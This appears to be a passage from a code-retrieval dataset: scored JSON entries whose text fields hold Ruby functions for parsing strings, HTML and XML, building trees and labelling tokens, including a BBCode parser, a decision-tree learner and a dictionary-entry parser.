result_tree.map {|node| node.last}.join(' ')\n result_tree = extract_words_2(a_string)\n result << result_tree.map {|node| node.last}.reverse.join(' ')\n\n return result\nend", "title": "" }, { "docid": "0ea6ea852af189478e723aed3feae282", "score": "0.4863141", "text": "def get_complex_ref_widget_data_structure(the_labels, separator)\n label_array = the_labels.split('|')\n array_of_hashes = []\n until label_array.empty? do\n all_labels = label_array.join('|')\n h = {}\n h = add_nk_elements_to_hash(h,label_array.last, all_labels)\n array_of_hashes << h\n label_array.pop # Remove the last label\n end\n # Now iterate over all the building blocks we've got so far, nesting each element as an \"s\" in the next hash\n for i in 0 .. array_of_hashes.count - 2\n array_of_hashes[i+1]['s'] = [array_of_hashes[i]]\n end\n return array_of_hashes.last\nend", "title": "" }, { "docid": "10053dfef7e9c60e61e6c3484a953931", "score": "0.48534015", "text": "def visit_string_parts(node); end", "title": "" }, { "docid": "755242e63eb522aff06b4457d1c9b9a1", "score": "0.4851618", "text": "def build_tree\n fp = IO.readlines('./demo.html')\n tags = []\n count = -1\n fp.each do |line|\n count += 1\n # regex for opening tag\n o_t = line.scan(/(<[a-z0-9]+\\s{0,1})/)\n # regex for closing tag\n c_t = line.scan(/(<\\/[a-z0-9]+\\s{0,1})/)\n # skip if there are no matches\n next if o_t.empty? && c_t.empty?\n unless o_t.empty?\n o_t.each do |t|\n # formatting tag\n o_tagname = format_tag(t[0])\n # process tag\n process_tags(o_tagname, fp, count, tags, line)\n end\n end\n unless c_t.empty?\n c_t.each do |t|\n c_tagname = format_tag(t[0])\n tag = Tag.new(c_tagname)\n tags << tag\n end\n end\n end\n tags\nend", "title": "" }, { "docid": "1bfeaf14b21f61e8cc45d4a79a833540", "score": "0.48478633", "text": "def create_labels document_sections, sections_index, content\n @reference_counts = {}\n main = content[%r{<main>.*</main>}m]\n appendix = content[%r{<div id=\"appendix\"[^>]*>.*</div>}m] || \"\"\n labels = (main + appendix).scan(/<(\\w+)([^>]*\\s+id=\"([^\"]+)\"[^>]*)>([^<]*)(?=<)/)\n .map do |tag, attribute_list, id, name|\n attributes = parse_attributes(attribute_list)\n type = label_type_for document_sections, tag.downcase.to_sym, attributes\n number = 0\n if attributes[:class].nil? or !attributes[:class].include? 'no-label-increment'\n number = number_for document_sections, type, name, id, sections_index\n end\n [id, \"#{type} #{number}\"]\n end\n labels.to_h\nend", "title": "" }, { "docid": "439d2a8df9af54c73375c51720d06afd", "score": "0.48475125", "text": "def parse_input(input)\n input\n .split(\"\\n\")\n .map {|i| \n _, name, weight, children = /^(\\w+) \\((\\d+)\\)(?: -> (.+))?/.match(i).to_a\n children = children.nil? ? [] : children.split(', ').map(&:to_sym)\n {name: name.to_sym, weight: weight.to_i, children: children}\n }\n .reduce({}) {|accum, i| accum[i[:name]] = i; accum}\nend", "title": "" }, { "docid": "1e1334da25781f821e7bb888fd94f036", "score": "0.48400137", "text": "def recurse(object)\n # Step 1: Let the tree only has children nodes and not label & path.\n # `@root` has the group name, hence deleting its references like `label` and `path`\n label = object.delete('label')\n path = object.delete('path')\n\n # Step 2: Initialize to an empty hash to create a new tree picking immediate children from each level considered.\n children = {}\n\n # Step 3: Iterating over each node considering active level and add it to the database.\n object.each do |key, value|\n # 3.a. Let the current hash only has children nodes, ignore `label`, `path`, & `tk_id`.\n iteratable_hash = value.except('label', 'path', 'tk_id')\n\n # 3.b. Generate a random hex value and assume it as a parent node ID\n parent_id = SecureRandom.hex\n\n # 3.c. Assign parent node ID to the child nodes.\n # Desc:\n # Creating a whole tree from children, each children node must their parent node's reference.\n # `tk_id` is a reference to parent node and is TaxonomyKeyword#id\n iteratable_hash.values.each do |i_h|\n i_h.merge!('tk_id' => parent_id)\n end\n\n # 3.d. Save the current node to the database\n # ...\n\n # 3.e. Retain the topics but from different domains with the same name.\n # Desc:\n # Possibility that same topic may occur under different domains with same name.\n # Hence, drilling down the taxonomies using `path` since `path` shall remains unique.\n iteratable_hash.each do |i_key, i_value|\n children[i_value['path']] = i_value\n end\n\n # 3.f: Do not consider leaf nodes i.e. those have no children to process.\n\n # 3.g: Capture the parent id generated.\n # Scope: Does nothing.\n @existing_taxons << parent_id\n end\n\n return if children.empty?\n\n # Step 3: Re-initialize whole `@state` with a new tree structure (only children from current_level)\n @state = children.clone\n\n # Step 4: Perform repeatedly till we have an empty tree. Empty tree means no more leaf nodes.\n recurse(@state)\n end", "title": "" }, { "docid": "6ad51861e24626bf7184bf6178e9c3e3", "score": "0.48292696", "text": "def processrubric (dist,ref,r)\n\n def len (ref)\n count = 0\n ref.children.each do |c|\n if c.name == 'text'\n count += 1 unless empty? c.text\n else\n count += len c\n end\n end\n count\n end\n\n def content (ref)\n\n def added (t,a)\n (empty? a) ? t : ( (empty? t) ? a : t+'#'+a )\n end\n\n t = ''\n ref.children.each do |c|\n t = added(t, (c.name=='text') ? c.text : content(c))\n end\n t\n end\n\n count = 0\n=begin\n fp = ''\n r[:ref] = ref\n r.children.each do |l|\n if l.name == 'Label'\n l.children.each do |c|\n case c.name\n when 'text' \n t = clean(c.text).gsub(/ /,'')\n if t != ''\n count+=1\n fp+='t'\n end\n when 'Fragment', 'Reference', 'Para', 'List', 'Include'\n count+=1\n fp+=c.name[0]\n when 'Term'\n count+=1\n fp+='S'\n when 'Table'\n count+=1\n fp+='T'\n else\n count+=1\n fp+='X'\n end\n #count += l.children.count \n end\n end\n end\n #count = count.to_s+':'+fp\n r[:count]=count\n\n=end\n\n #count = len r\n\n r[:content] = content r\n\n #dist[count] ||= 0\n #dist[count] += 1\n\nend", "title": "" }, { "docid": "0d09491f5e2769598c41872bc30ba58d", "score": "0.48125198", "text": "def extract_strings(data, extracted, prefix = '')\n if data.is_a?(Hash)\n data.each do |key, value|\n extract_strings(value, extracted, prefix.empty? ? key : \"#{prefix}.#{key}\")\n end\n else\n extracted << data\n end\n end", "title": "" }, { "docid": "9fcb57981cd5e0c4446c83b546676484", "score": "0.47821042", "text": "def process()\n @data = {}\n base = @dom.document.root\n\n traverse = Proc.new do |elem, dat|\n unless elem.name == 'text'\n if dat.is_a?(Array)\n d = {}\n dat << d\n dat = dat.last\n end\n if elem.children.length == 1 and elem.children[0].name == 'text'\n dat[elem.name] = elem.children[0].to_s\n elsif elem.children.length > 0\n loc = nil\n if !is_multi(elem.parent, elem.name)\n dat[elem.name] = []\n loc = dat[elem.name]\n else\n dat[elem.name] = {}\n loc = dat[elem.name]\n end\n elem.children.each do |c|\n traverse.call(c, loc)\n end\n end\n end\n end\n\n\n traverse.call(base, @data)\n\n @data\n end", "title": "" }, { "docid": "ddb4c0e276b15b4e584bed8ef5923624", "score": "0.47799227", "text": "def parse\n parser.parse *extract\n end", "title": "" }, { "docid": "a2307fda8f8d5f2a0aed38a8e9c9ce0f", "score": "0.47705528", "text": "def visit_words(node); end", "title": "" }, { "docid": "1b347da0a83e019b3f1d13f81f258e0f", "score": "0.47212908", "text": "def parse_data(filename)\n\tnode_dict = Hash.new\n\tFile.foreach(filename).each do |line|\n\t\torbits = line.chomp.split(')')\n\t\torbits.each { |orbit| node_dict[orbit] ||= Node.new(orbit) }\n\t\tparent = orbits[0]\n\t\tchild = orbits[1]\n\t\tnode_dict[parent].child = node_dict[child]\n\tend\n\tnode_dict\nend", "title": "" }, { "docid": "dc9c02849d7cc776a2742096fd1404fa", "score": "0.47196397", "text": "def load_manually(target_destination)\n\n# target_destination.children.select{|i| (!i.to_s.blank?) }\n# => [<history> ... </>, <introductory> ... </>, <practical_information> ... </>, <transport> ... </>, <weather> ... </>, <work_live_study> ... </>]\n history=target_destination.children.select { |i| (!i.to_s.blank?) }[0]\n# => <history> ... </>\n# history.children.select { |i| (!i.to_s.blank? && i.cdatas) }[0].name\n# => \"history\" \n# history.children.select { |i| (!i.to_s.blank? && i.cdatas) }[0].cdatas\n# => [] \n\n\n title= history.children.select { |i| (!i.to_s.blank? && i.cdatas) }[0].name\n content= history.children.select { |i| (!i.to_s.blank? && i.cdatas) }[0].cdatas\n add_paragraph(title, content)\n\n history2=history.children.select { |i| (!i.to_s.blank? && i.cdatas) }[0]\n history3=history2.children.select { |i| (!i.to_s.blank? && i.cdatas) }\n\n #history3 has 13\n history3.each do |node|\n if !node.to_s.blank?\n title=node.name.to_s\n content=node.cdatas.to_s\n add_paragraph(title, content)\n end\n end\n end", "title": "" }, { "docid": "6fa26642a374bda708bee0dfd9d520c4", "score": "0.4705456", "text": "def ingest user, string\n string = sanitize_string string\n words = separate_string string\n\n return if words.length < @depth\n\n # Capitalize the first word and add a period at the end\n words = [words[0].capitalize] + words.slice(1..-1) + ['.']\n\n # Iterate over it one step at a time in sets of `@depth + 1`\n words.each_cons(@depth + 1) do |words|\n current_state = words[0]+' '+words[1]\n next_state = words[2]\n\n add_entry user, current_state, next_state\n end # words.each_cons\n end", "title": "" }, { "docid": "3872a126b127e20d8a7e527e965d3629", "score": "0.4694094", "text": "def process_text\n regex_string = '((\\[ (\\/)? ( \\* | (\\w+)) ((=[^\\[\\]]+) | (\\s\\w+=\\w+)* | ([^\\]]*))? \\]) | ([^\\[]+))'\n @text.scan(/#{regex_string}/ix) do |tag_info|\n @ti = TagInfo.new(tag_info, @dictionary)\n\n # if the tag isn't in the @dictionary list, then treat it as text\n @ti.handle_tag_as_text if @ti.element_is_tag? and !@ti.tag_in_dictionary?\n\n validate_element\n\n case @ti.type\n when :opening_tag\n element = {:is_tag => true, :tag => @ti[:tag], :definition => @ti.definition, :errors => @ti[:errors], :nodes => TagCollection.new }\n element[:invalid_quick_param] = true if @ti.invalid_quick_param?\n element[:params] = get_formatted_element_params\n\n @bbtree.retrogress_bbtree if self_closing_tag_reached_a_closer?\n\n @bbtree.build_up_new_tag(element)\n\n @bbtree.escalate_bbtree(element)\n when :text\n tag_def = @bbtree.current_node.definition\n if tag_def and tag_def[:multi_tag] == true\n set_multi_tag_to_actual_tag\n tag_def = @bbtree.current_node.definition\n end\n\n if within_open_tag? and tag_def[:require_between]\n between = get_formatted_between\n @bbtree.current_node[:between] = between\n if use_text_as_parameter?\n value_array = tag_def[:quick_param_format].nil? ? true : between.scan(tag_def[:quick_param_format])[0]\n if value_array.nil?\n if @ti[:invalid_quick_param].nil?\n # Add text element (with error(s))\n add_element = true\n\n # ...and clear between, as this would result in two 'between' texts\n @bbtree.current_node[:between] = \"\"\n end\n else\n # Between text can be used as (first) parameter\n @bbtree.current_node[:params][tag_def[:param_tokens][0][:token]] = between\n end\n end\n # Don't add this text node, as it is used as between (and might be used as first param)\n next unless add_element\n end\n\n create_text_element\n when :closing_tag\n if @ti[:wrong_closing]\n # Convert into text, so it\n @ti.handle_tag_as_text\n create_text_element\n else\n @bbtree.retrogress_bbtree if parent_of_self_closing_tag? and within_open_tag?\n @bbtree.retrogress_bbtree\n end\n end\n end # end of scan loop\n\n validate_all_tags_closed_off\n validate_stack_level_too_deep_potential\n end", "title": "" }, { "docid": "ed801d8ba31548089477e852eaa45cef", "score": "0.46876672", "text": "def extract_from_page(url, spec={})\n finders = spec[:finders] || all_finders\n if label = spec[:label] # Can specify either a single label or a set\n labels = ((label.class == Array) ? label : [label]).collect { |l| l.to_s }\n finders = finders.keep_if { |t| labels.include? t[:label] }\n else\n labels = finders.collect { |tag| tag[:label].to_s }.uniq\n end\n begin\n pagetags = PageTags.new(url, @site, finders, spec[:all], false)\n rescue\n puts \"Error: couldn't open page '#{url}' for analysis.\"\n return {}\n end\n results = {}\n # We've cracked the page for all tags. Now report them into the result\n labels.each do |label|\n if foundstr = pagetags.result_for(label)\n # Assuming the tag was fulfilled, there may be post-processing to do\n case label\n when \"Title\"\n # A title may produce both a title and a URL, conventionally separated by a tab\n titledata = foundstr.split('\\t')\n results[:URI] = titledata[1] if titledata[1]\n foundstr = trim_title titledata.first\n when \"Image\", \"URI\"\n # Make picture path absolute if it's not already\n foundstr = resolve foundstr \n end\n results[label.to_sym] = foundstr\n end\n end\n results\n end", "title": "" }, { "docid": "fe909f00b15c6a656b08d2df4ac46dbf", "score": "0.4678003", "text": "def tree_of_variations_for( formulation )\n\n if formulation == nil then \n return nil\n else\n tree_of_variations = formulation\n end\n\n if $lexicon_infos[formulation]['<'] != [] then\n \n $lexicon_infos[formulation]['<'].each do |subdivision|\n\n tree_of_variations = []\n \n part1 = subdivision[0]\n part2 = subdivision[1]\n \n part1 ? part1_synonyms = ([part1] | $lexicon_infos[part1]['~']) - [formulation] : part1_synonyms = [nil]\n part2 ? part2_synonyms = ([part2] | $lexicon_infos[part2]['~']) - [formulation] : part2_synonyms = [nil]\n \n part1_synonyms.each do |part1_synonym|\n part2_synonyms.each do |part2_synonym|\n \n part1 = tree_of_variations_for( part1_synonym )\n if part1.class == Array then part1 = part1[0] end\n \n part2 = tree_of_variations_for( part2_synonym )\n if part2.class == Array then part2 = part2[0] end\n \n tree_of_variations << { 'part1' => part1, 'part2' => part2 }\n \n end\n end\n \n end\n end\n \n return tree_of_variations\n\nend", "title": "" }, { "docid": "57ac658583d72b0e2a53c99ef63873c4", "score": "0.46613273", "text": "def parse_tree(s)\n\n puts ('inside parse_tree').info if @debug\n \n lines = s.gsub(/\\r/,'').strip.lines\n\n if @root.nil? and s[/^\\w[^\\n]+\\n\\n/] then\n @root = lines.shift\n lines.shift\n end\n\n\n if @root.nil? and lines.grep(/^\\w/).length == 1 then\n @root = lines.shift\n lines.map! {|x| x[2..-1]}\n end \n\n puts ('lines: ' + lines.inspect) if @debug\n \n puts ('@root:' + @root.inspect).debug if @debug\n \n asrc = lines.map {|x| ' ' + x}\n\n a2 = asrc.inject([]) do |r,x| \n\n if x.strip.length > 0 then\n r << '#' * (x.scan(/ {2}/).length + 1) + ' ' + x.lstrip\n else\n r\n end\n\n end\n\n a2.unshift('# ' + @root + \"\\n\") if @root \n \n a = @txtdoc.split(/.*(?=\\n#)/).map(&:strip)\n\n a3 = []\n\n a2.each do |x|\n\n r = a.grep /#{x}/\n r2 = r.any? ? r.first : x\n a3 << \"\\n\" + r2.strip.sub(/\\w/) {|x| x.upcase} + \"\\n\"\n\n end\n \n [asrc.join, a3.join]\n\n end", "title": "" }, { "docid": "919d6fc9fa081a29954277f2c561a9ba", "score": "0.46587858", "text": "def post_process file_dictionary\n\n # Collapse out the MetsFileData (fptr) datum nodes\n # from the list, assigning its fileid attributes to the previous\n # MetsDivData node's list of file-ids (fids).\n\n new = []\n @list.each do | rec |\n case rec\n when Struct::MetsDivData\n new.push rec\n when Struct::MetsFileData\n if new.empty?\n warning \"METS file data #{rec.inspect} doesn't have a parent <div> node, skipping.\"\n next\n end\n parent = new[-1] # grab immedidate parent, which will be a MetsDivData element\n parent.is_page = true\n parent.fids.push(rec.file_id)\n end\n end\n @list = new\n\n # Now we have nothing but Struct::MetsDivData; we'll first remove any record that claims to be a page\n # but has no associated fids:\n\n new = []\n @list.each do |div_data|\n if div_data.fids.empty? and div_data.is_page\n warning \"<div> element of type page, labeled '#{div_data.title}', has no associated file data, skipped.\"\n else\n new.push div_data\n end\n end\n @list = new\n\n # We now fill in the files data from the dictionary:\n\n @list.each do |div_data|\n div_data.fids.each do |fid|\n file_entry = file_dictionary[fid]\n if not file_entry\n warning \"METS structMap FILEID #{fid} was not found in the METS fileSec.\"\n else\n div_data.files.push file_entry\n end\n end\n end\n\n\n # We may have aribitrarily deep divs, so we'll adjust the level:\n\n return if @list.empty?\n\n adjustment = 1 - @list[0].level\n\n @list.each do |entry|\n entry.level += adjustment\n end\n\n\n end", "title": "" }, { "docid": "0904bd18cf01cd25c32ea8c0b22280d4", "score": "0.46570942", "text": "def process_labeling\n process_adding_labels\n process_removing_labels\n end", "title": "" }, { "docid": "864c3498ed78314b5ff97c8f46d666b0", "score": "0.46532172", "text": "def dtl_iterative(sparse_data, labels, max_nodes, test_data, test_labels, words)\n # first, get the root node:\n info_list = []\n sparse_data[0].size.times do |word_index|\n info_list << ( information_gain( word_index, sparse_data, labels ) )\n end\n\n best_word = info_list.index( info_list.max )\n\n root = Node.new(best_word)\n puts \"Selected word: #{words[best_word]}\"\n puts \"info gain: #{info_list.max}\"\n\n yes_docs = []\n yes_labels = []\n no_docs = []\n no_labels = []\n sparse_data.size.times do |i|\n label = labels[i]\n doc = sparse_data[i]\n if doc[best_word]\n yes_docs << (doc)\n yes_labels << (label)\n else\n no_docs << (doc)\n no_labels << (label)\n end\n end\n\n root.add_no_child( Node.new(path_plurality_value(best_word, no_docs, no_labels, 0)) )\n root.add_yes_child( Node.new(path_plurality_value(best_word, yes_docs, yes_labels, 1)) )\n\n root.yes_child.add_docs_and_labels( yes_docs, yes_labels )\n root.no_child.add_docs_and_labels( no_docs, no_labels )\n root.info_gain = info_list.max\n n_nodes = 1\n test_percent = []\n train_percent = []\n while n_nodes < max_nodes\n puts \"testing with #{n_nodes} nodes... \"\n test_percent << (test_decision_tree(root, test_data, test_labels))\n train_percent << (test_decision_tree(root, sparse_data, labels))\n puts \"classified #{train_percent[n_nodes-1]} percent training documents correctly\"\n puts \"classified #{test_percent[n_nodes-1]} percent training documents correctly\"\n puts \"adding node #{n_nodes+1} of #{max_nodes}\"\n\n leaves = root.get_leaves()\n leaves.each do |leaf|\n # check if we've already calculated the gain for the leaf\n if leaf.is_a?(Node) && leaf.info_gain == Nil\n # find the best word at each leaf by calculating the gain for\n # all words and then take the max\n info_list = []\n sparse_data[0].size.times do |i|\n # find the information gain or info gain times number of documents for each leaf\n info_list << ( information_gain( i, leaf.docs, leaf.labels )*leaf.docs.size )\n #info_list << ( information_gain( i, leaf.docs, leaf.labels ) )\n end\n leaf.info_gain = info_list.max\n leaf.best_word_index = info_list.index( info_list.max )\n end\n end\n leaves_gain = leaves.collect { |leaf| leaf.info_gain }\n # find the best leaf based on the info gain\n best_leaf = leaves[leaves_gain.index( leaves_gain.max )]\n # expand the best leaf\n best_leaf.value = best_leaf.best_word_index\n\n puts \"Selected word: #{words[best_leaf.value]}\"\n puts \"info gain: #{best_leaf.info_gain}\"\n\n\n yes_docs = []\n yes_labels = []\n no_docs = []\n no_labels = []\n best_leaf.docs.size.times do |i|\n label = best_leaf.labels[i]\n doc = best_leaf.docs[i]\n if doc[best_leaf.best_word_index]\n yes_docs << (doc)\n yes_labels << (label)\n else\n no_docs << (doc)\n no_labels << (label)\n end\n end\n\n best_leaf.add_no_child( Node.new(path_plurality_value(best_leaf.best_word_index, best_leaf.docs, best_leaf.labels, 0) ))\n best_leaf.add_yes_child( Node.new(path_plurality_value(best_leaf.best_word_index, best_leaf.docs, best_leaf.labels, 1) ))\n\n best_leaf.yes_child.add_docs_and_labels( yes_docs, yes_labels )\n best_leaf.no_child.add_docs_and_labels( no_docs, no_labels )\n n_nodes = n_nodes + 1\n end\n # write the percentages correct to a .csv\n # with open('results_times_docs.csv', 'wb') as f:\n # writer = csv.writer(f)\n # writer.writerows([train_percent])\n # writer.writerows([test_percent])\n\n return root\nend", "title": "" }, { "docid": "de5585a5bc75d110ad96f5faaccd2dc6", "score": "0.46483317", "text": "def find_labels(t)\n # puts \"Inside find_labels\"\n unTaggedString = t.split(\" \")\n t = StanfordCoreNLP::Text.new(t)\n @pipeline.annotate(t)\n #for each sentence identify theparsed form of the sentence\n sentence = t.get(:sentences).toArray\n parsed_sentence = sentence[0].get(:collapsed_c_c_processed_dependencies)\n labels = Array.new\n labelCounter = 0\n govDep = parsed_sentence.typedDependencies.toArray\n #for each untagged token\n for j in (0..unTaggedString.length - 1)\n unTaggedString[j].gsub!(\".\", \"\")\n unTaggedString[j].gsub!(\",\", \"\")\n #puts \"Label for #{unTaggedString[j]}\"\n #identify its corresponding position in govDep and fetch its label\n for k in (0..govDep.length - 1)\n #puts \"Comparing with #{govDep[k].dep.value()}\"\n if(govDep[k].dep.value() == unTaggedString[j])\n labels[j] = govDep[k].reln.getShortName()\n #puts labels[j]\n labelCounter+=1\n break\n end\n end\n end\n labels\n end", "title": "" }, { "docid": "94e9f50d0f79e52a2de2f0b1bf679fe1", "score": "0.46478075", "text": "def build_tree str\n nodes = build_freqs(str).map! { |pair| FreqNode.new(pair) }\n\n while nodes.size > 1\n child1, child2 = nodes.shift, nodes.shift\n parent = FreqNode.new([child1.content.first + child2.content.first])\n child1.side, child2.side = :left, :right\n parent << child1\n parent << child2\n nodes << parent\n end\n\n nodes.min\nend", "title": "" }, { "docid": "13c567e3bbcde2c95429326d2f06490c", "score": "0.4626302", "text": "def parse\n @args.each do |filename|\n #use Nokogiri to get all the text within <dd> tag\n @text = Nokogiri::HTML(File.open(filename)).css('dd').text.sanitize\n @text.each do |word|\n if word.capitalize.include? 'I' or word.capitalize.include? 'X' #new chapter\n @doc_number += 1\n end\n @token_sum += word.length\n @token_number += 1\n if !(word.include? '--') and (word != '')\n word = @stemmer.stem(word)\n @data[word] ||= [] #we either have some record in hash with that key or we don't\n @data[word] << @doc_number unless @data[word].include? @doc_number #don't make record\n # if we already met this word in this document\n end\n end\n end\n end", "title": "" }, { "docid": "7562bf349267506b99e338e97fb7303a", "score": "0.4614792", "text": "def generate_cutSite_labeled_trees(basepath)\n rename_all_fasta()\n concat_all_fasta()\n make_phylogenic_trees(basepath)\n #convert_newick_to_nexus(\"downSeq.tree\",\"downSeq.nex\")\n convert_newick_to_nexus(\"all_upSeq_aa.tree\",\"all_upSeq_aa.nex\")\n convert_newick_to_nexus(\"all_downSeq_aa.tree\",\"all_downSeq_aa.nex\")\nend", "title": "" }, { "docid": "97dc914d512ede58de83579b29e51cf9", "score": "0.45937002", "text": "def extract\n\n @extractor.vertical_extractor\n @extractor.horizontal_extractor\n @extractor.duplicate\n\n# transformer = LEDTL::Transformer.new( extractor )\n# transformer.transform\n\n# loader = LDETL::Loader.new\n# loader.load\n end", "title": "" }, { "docid": "a1fb5759c1f6e7e3bd37d42828d6bead", "score": "0.4571425", "text": "def build_string_id_hash(path_to_xml,path_to_string)\n if File.exists?(path_to_xml)\n File.open(path_to_xml) do |config_file|\n # Open the document\n config = REXML::Document.new(config_file)\n # Initialize variables (scope is outside of do loops)\n h = Hash.new\n puts \"Parsing #{path_to_xml} for data labels.\"\n config.root.elements.each(path_to_string) do |string|\n key = string.attribute('Id').to_s\n if string.text == nil then\n value = \"\"\n else\n value = string.text\n end\n h[key] = value\n end\n return h\n end\n else raise 'Input XML file(GDD) not found!'\n end\nend", "title": "" }, { "docid": "bf7934fbc14eb472c135505e121e3a41", "score": "0.45658523", "text": "def find_labels(t)\n # puts \"Inside find_labels\"\n unTaggedString = t.split(\" \")\n t = StanfordCoreNLP::Text.new(t)\n @pipeline.annotate(t)\n #for each sentence identify theparsed form of the sentence\n sentence = t.get(:sentences).toArray\n parsed_sentence = sentence[0].get(:collapsed_c_c_processed_dependencies)\n labels = Array.new\n labelCounter = 0\n govDep = parsed_sentence.typedDependencies.toArray\n #for each untagged token\n for j in (0..unTaggedString.length - 1)\n unTaggedString[j].gsub!(\".\", \"\")\n unTaggedString[j].gsub!(\",\", \"\")\n #puts \"Label for #{unTaggedString[j]}\"\n #identify its corresponding position in govDep and fetch its label\n for k in (0..govDep.length - 1)\n #puts \"Comparing with #{govDep[k].dep.value()}\"\n if (govDep[k].dep.value() == unTaggedString[j])\n labels[j] = govDep[k].reln.getShortName()\n #puts labels[j]\n labelCounter+=1\n break\n end\n end\n end\n return labels\n end", "title": "" }, { "docid": "26a0d64ab1a5ef29625c045f0228fa43", "score": "0.45600712", "text": "def str_2_features(cstr, training=false)\n features = []\n tokens_and_tags, tokens, tokensnp, tokenslcnp = prepare_token_data(cstr, training)\n toki = 0\n tag = nil\n nil_tag = false\n tokens_and_tags.each_with_index {|tok, i|\n # if this is training data, grab the mark-up tag and then skip it\n if training\n if tok =~ /^<([a-z]+)>$/\n tag = $1\n next\n elsif tok =~ /^<\\/([a-z]+)>$/\n tok = nil\n raise TrainingError, \"Mark-up tag mismatch #{tag} != #{$1}\\n#{cstr}\" if $1 != tag\n next\n end\n end\n feats = {}\n\n\n # If we are training, there should always be a tag defined\n if training && tok.nil?\n raise TrainingError, \"Incorrect mark-up:\\n #{cstr}\"\n end\n @token_features.each {|f|\n feats[f] = self.send(f, tokens, tokensnp, tokenslcnp, toki)\n }\n toki += 1\n\n features << [tok]\n @feature_order.each {|f| features.last << feats[f]}\n features.last << tag if training\n if tag.nil?\n nil_tag = true\n elsif nil_tag\n features.each {|f| \n if f.last.nil?\n f.pop\n f << tag\n end\n }\n nil_tag =false\n end\n }\n return features\n end", "title": "" }, { "docid": "0b688e9bd0429a2e4a372215aa4d3d19", "score": "0.45578206", "text": "def test_parse\n result = @parser.definition_list.parse(sample_definition_list)\n assert_tree({:definition_list => [\n {:colon => ':', :term => '1st', :description => 'desc'},\n {:colon => ':', :term => '2nd', :description => 'desc'},\n {:colon => '::', :term => 'child', :description => 'desc'},\n {:colon => ':::', :term => 'child child', :description => 'desc'}\n ]}, result)\n end", "title": "" }, { "docid": "2f23045bc3916b06d4c9b990ddcf3672", "score": "0.45553762", "text": "def extract_keywords!\n # TODO: maybe we should collect things based on their p-o-s tags.\n # TODO: add training for tokenizer or use another one which supports\n # learning to enhance specialized word detection.\n\n t = Treat::Entities::Section.build(Treat::Entities::Title.build(title),Treat::Entities::Paragraph.build(abstract))\n t.apply(:segment, :tokenize, :stem)\n t.each_entity do |ent|\n if ent.has_feature? :stem\n t = ent.stem.downcase\n elsif ent.type == :symbol\n t = ent.to_s.downcase\n else\n next\n end\n\n # check against stopwords to save some IO\n\n self.keywords << Keyword.find_or_create_by_title(t)\n end\n end", "title": "" }, { "docid": "6a945674799addcd0dbbe7f61008e6ff", "score": "0.45525303", "text": "def test_extract_useful_sentences\n assert_equal(@scrivener.extract_sentences,\n [['<Anarchism/Anarchism> is often defined as a <political_philosophy/Political_philosophy> which holds the state to be undesirable, unnecessary, or harmful', '/philosophy'],\n ['<Anarchism/Anarchism> as a mass <social_movement/Social_movement> has regularly endured fluctuations in popularity', '/partOf'],\n [\"The central tendency of <anarchism/Anarchism> as a <social_movement/Social_movement> has been represented by anarcho-communism and anarcho-syndicalism, with individualist anarchism being primarily a literary phenomenon which nevertheless did have an impact on the bigger currents and individualists have also participated in large anarchist organizations\", '/partOf']])\n end", "title": "" }, { "docid": "e68fb9ef39a42b40063410f96730ab53", "score": "0.45461982", "text": "def build_tree\n @string_array = html_string_array\n generate_node_tree\n @document = @parsed[0] #set root node\n end", "title": "" }, { "docid": "d88c56aa756c3899ed37061a92ce8419", "score": "0.45414934", "text": "def process_str(str)\n Juli::LineParser.new.parse(str, Juli::Wiki.wikinames).\n accept(LineTree.new(@depth))\n end", "title": "" }, { "docid": "0c1ddb59da11662cad4a0d6db2fa94e8", "score": "0.45413452", "text": "def recognize(text)\n tempfile = Tempfile.new(\"ner_input\")\n tempfile.write(text)\n tempfile.close()\n\n Dir.chdir(@ner_directory)\n result = `./#{@ner_file} #{tempfile.path} 2>/dev/null`\n \n last_tag = OTHER\n named_entity = \"\"\n @entities = {}\n result.split(\" \").each do |token|\n (word, tag) = token.match(/(\\S+)\\/(\\w+)/).captures\n\n if tag == OTHER and last_tag != OTHER\n @entities[named_entity] = last_tag\n named_entity = word\n elsif tag != OTHER\n if tag == last_tag\n named_entity << (\" \" + word) \n else\n named_entity = word\n end\n end\n \n last_tag = tag\n end\n \n if last_tag != OTHER\n @entities[named_entity] = last_tag\n end\n \n return @entities\n end", "title": "" }, { "docid": "6a79386cb2bb676419aaf5f6e8033769", "score": "0.4539619", "text": "def parse_entry(entry)\n\n \t\tthis_entry = {}\n\n \t\tthis_entry[\"ent_seq\"] = entry.css(\"ent_seq\").text.to_i\n\n \t\tthis_entry[\"k_ele\"] = []\n\n \t\tentry.css(\"k_ele\").each do |elem|\n k_ele = {}\n k_ele['keb'] = elem.css('keb').text\n k_ele['ke_inf'] = fill_elems('ke_inf', elem)\n k_ele['ke_pri'] = fill_elems('ke_pri', elem)\n \t\t\tthis_entry['k_ele'] << k_ele\n \t\tend\n\n this_entry[\"r_ele\"] = []\n\n entry.css(\"r_ele\").each do |elem|\n r_ele = {}\n r_ele['reb'] = elem.css('reb').text\n r_ele['re_nokanji'] = elem.css('re_nokanji').text\n r_ele['re_restr'] = fill_elems('re_restr', elem)\n r_ele['re_inf'] = fill_elems('re_inf', elem)\n r_ele['re_pri'] = fill_elems('re_pri', elem)\n \t\t\tthis_entry['r_ele'] << r_ele\n \t\tend\n\n this_entry[\"sense\"] = []\n\n entry.css(\"sense\").each do |s|\n sense = {}\n sense['stagk'] = fill_elems('stagk', s)\n sense['stagr'] = fill_elems('stagr', s)\n sense['pos'] = fill_elems('pos', s)\n sense['xref'] = fill_elems('xref', s)\n sense['ant'] = fill_elems('ant', s)\n sense['field'] = fill_elems('field', s)\n sense['misc'] = fill_elems('misc', s)\n sense['s_inf'] = fill_elems('s_inf', s)\n sense['l_source'] = []\n s.css('l_source').each do |ls|\n l_source = {}\n l_source['lang'] = ls.lang\n l_source['ls_type'] = ls.ls_type\n l_source['ls_wasei'] = ls.ls_wasei\n l_source['ls_source'] = ls.ls_source.text\n sense['l_source'] << l_source\n end\n sense['dial'] = fill_elems('dial', s)\n sense['gloss'] = []\n s.css('gloss').each do |g|\n gloss = {}\n gloss['lang'] = g.lang\n\n \t\t\t\t# Give errors if accesed the same way as lang attribute when are not present\n \t\t\t\tgloss['g_gend'] = g['g_gend'] if g.key? 'g_gend'\n \t\t\t\tgloss['g_type'] = g['g_type'] if g.key? 'g_type'\n\n \t\t\t\t# The gloss could have a text PCData or a 'pri' element.\n \t\t\t\t# Currently in rev 1.09 there is no 'pri' with content at all. Just for the sake of DTD.\n \t\t\t\tgloss['pri'] = g.at_css('pri').text unless g.at_css('pri').nil?\n\n gloss['gloss'] = g.text\n sense['gloss'] << gloss\n end\n\n \t\t\tthis_entry['sense'] << sense\n \t\tend\n\n 